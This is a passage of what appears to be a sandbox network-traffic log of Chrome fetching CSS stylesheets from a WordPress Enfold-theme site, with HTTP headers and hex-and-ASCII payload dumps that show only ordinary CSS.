2025-01-09 12:19:19 UTC	4907	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 4c 61 79 65 72 20 53 6c 69 64 65 72 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Layer Slider========================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	49765	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:19 UTC	642	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/social_share/social_share.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:19 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:19 GMT Content-Type: text/css Content-Length: 1252 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:19 UTC	1252	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 53 68 61 72 65 20 42 6f 78 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Share Box===========================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	49766	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:19 UTC	640	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tab_section/tab_section.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:19 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:19 GMT Content-Type: text/css Content-Length: 4748 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:32 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:19 UTC	4748	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0d 0a 54 61 62 20 53 45 43 54 49 4f 4e 0d 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Tab SECTION=======================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	49767	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:19 UTC	628	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/table/table.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:19 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:19 GMT Content-Type: text/css Content-Length: 6692 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:32 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:19 UTC	6692	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 54 61 62 6c 65 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Table===============================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49768	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:19 UTC	626	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tabs/tabs.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:19 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:19 GMT Content-Type: text/css Content-Length: 3691 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:32 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:19 UTC	3691	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 54 61 62 73 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Tabs================================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.16	49769	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:19 UTC	626	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/team/team.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:19 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:19 GMT Content-Type: text/css Content-Length: 3478 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:32 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:19 UTC	3478	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 54 65 61 6d 20 4d 65 6d 62 65 72 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Team Member=========================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.16	49770	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:19 UTC	642	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/testimonials/testimonials.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:20 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:20 GMT Content-Type: text/css Content-Length: 6251 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:32 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:20 UTC	6251	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 54 65 73 74 69 6d 6f 6e 69 61 6c 73 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Testimonials========================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.16	49774	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:20 UTC	634	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/timeline/timeline.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:20 UTC	293	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:20 GMT Content-Type: text/css Content-Length: 29265 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:32 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:20 UTC	16091	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 54 49 4d 45 4c 49 4e 45 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================TIMELINE============================================================================================
2025-01-09 12:19:20 UTC	13174	IN	Data Raw: 65 20 6f 72 69 65 6e 74 61 74 69 6f 6e 20 68 6f 72 69 7a 6f 6e 74 61 6c 20 2d 20 61 6c 74 65 72 6e 61 74 65 20 2a 2f 0a 0a 2e 61 76 69 61 2d 74 69 6d 65 6c 69 6e 65 2d 68 6f 72 69 7a 6f 6e 74 61 6c 2e 61 76 2d 6d 69 6c 65 73 74 6f 6e 65 2d 70 6c 61 63 65 6d 65 6e 74 2d 61 6c 74 65 72 6e 61 74 65 20 2e 61 76 2d 6d 69 6c 65 73 74 6f 6e 65 2d 64 61 74 65 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 33 30 70 78 20 30 20 33 30 70 78 20 31 31 30 70 78 3b 0a 7d 0a 0a 2e 61 76 69 61 2d 74 69 6d 65 6c 69 6e 65 2d 68 6f 72 69 7a 6f 6e 74 61 6c 2e 61 76 2d 6d 69 6c 65 73 74 6f 6e 65 2d 70 6c 61 63 65 6d 65 6e 74 2d 61 6c 74 65 72 6e 61 74 65 20 2e 61 76 2d 6d 69 6c 65 73 74 6f 6e 65 2d 63 6f 6e 74 65 6e 74 2d 77 72 61 70 Data Ascii: e orientation horizontal - alternate */.avia-timeline-horizontal.av-milestone-placement-alternate .av-milestone-date{ margin: 0; padding: 30px 0 30px 110px;}.avia-timeline-horizontal.av-milestone-placement-alternate .av-milestone-content-wrap

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.16	49772	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:20 UTC	632	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/toggles/toggles.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:20 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:20 GMT Content-Type: text/css Content-Length: 4572 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:32 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:20 UTC	4572	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 41 63 63 6f 72 64 69 6f 6e 2f 54 6f 67 67 6c 65 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Accordion/Toggle====================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.16	49771	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:20 UTC	628	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/video/video.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:20 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:20 GMT Content-Type: text/css Content-Length: 1857 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:32 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:20 UTC	1857	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 56 69 64 65 6f 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* 